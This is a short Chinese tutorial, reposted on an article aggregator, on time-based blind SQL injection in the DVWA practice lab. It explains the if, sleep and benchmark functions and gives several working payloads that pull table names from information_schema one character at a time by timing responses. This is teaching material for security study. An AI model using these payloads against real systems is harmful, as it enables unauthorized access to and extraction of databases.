DVWA SQL Injection(Blind) - 时间盲注
2022/2/4 19:25:46
本文主要是介绍DVWA SQL Injection(Blind) - 时间盲注,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
时间盲注
上回我们介绍的是布尔盲注,通过返回结果的 True 与 False 来判断条件是否为真,逐步破解出目标内容;如果没有明显的 True 与 False 回显那么就十分难分辨目标条件的真伪,此时我们可以借助逻辑与或逻辑非的短路特性或者 if 函数,配合 sleep 或 benchmark 等执行时间长的函数,通过页面响应时间来判断目标条件是否为真或假
Demo
if(condition, ret_true, ret_false)
: 如果条件为真,则返回ret_true
否则返回ret_false
sleep(n)
使数据库查询程序挂起 n 秒,延长执行时间benchmark(n, expression)
表示对目标表达式expression
执行n
次; 此时表达式会选择大计算量的操作,如哈希MD5()
以实现延迟效果
?id=2' and ascii( substr( (select table_name from information_schema.tables where table_schema=database() limit 0, 1), 1, 1 ) ) >= 97 and sleep(3) -- -
可以看出查询用了 3s 的时间,代表前面的条件均为真
?id=2' and ascii( substr( (select table_name from information_schema.tables where table_schema=database() limit 0, 1), 1, 1 ) ) <= 97 and sleep(3) -- -
改变为对立条件后,查询时间仅为 6ms,因此时间盲注测试成功
?id=2' and if( ascii( substr( (select table_name from information_schema.tables where table_schema=database() limit 0, 1), 1, 1 ) ) >= 97, benchmark(10000000, md5(1000000)), 1) -- -
if 与 benchmark 也能够被利用进行时间盲注
具体的破解方法和之间提到的一致,大家可以自行尝试啦~
Ref
推荐一个超详细的博客:DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析
这篇关于DVWA SQL Injection(Blind) - 时间盲注的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-22怎么实现ansible playbook 备份代码中命名包含时间戳功能?-icode9专业技术文章分享
- 2024-11-22ansible 的archive 参数是什么意思?-icode9专业技术文章分享
- 2024-11-22ansible 中怎么只用archive 排除某个目录?-icode9专业技术文章分享
- 2024-11-22exclude_path参数是什么作用?-icode9专业技术文章分享
- 2024-11-22微信开放平台第三方平台什么时候调用数据预拉取和数据周期性更新接口?-icode9专业技术文章分享
- 2024-11-22uniapp 实现聊天消息会话的列表功能怎么实现?-icode9专业技术文章分享
- 2024-11-22在Mac系统上将图片中的文字提取出来有哪些方法?-icode9专业技术文章分享
- 2024-11-22excel 表格中怎么固定一行显示不滚动?-icode9专业技术文章分享
- 2024-11-22怎么将 -rwxr-xr-x 修改为 drwxr-xr-x?-icode9专业技术文章分享
- 2024-11-22在Excel中怎么将小数向上取整到最接近的整数?-icode9专业技术文章分享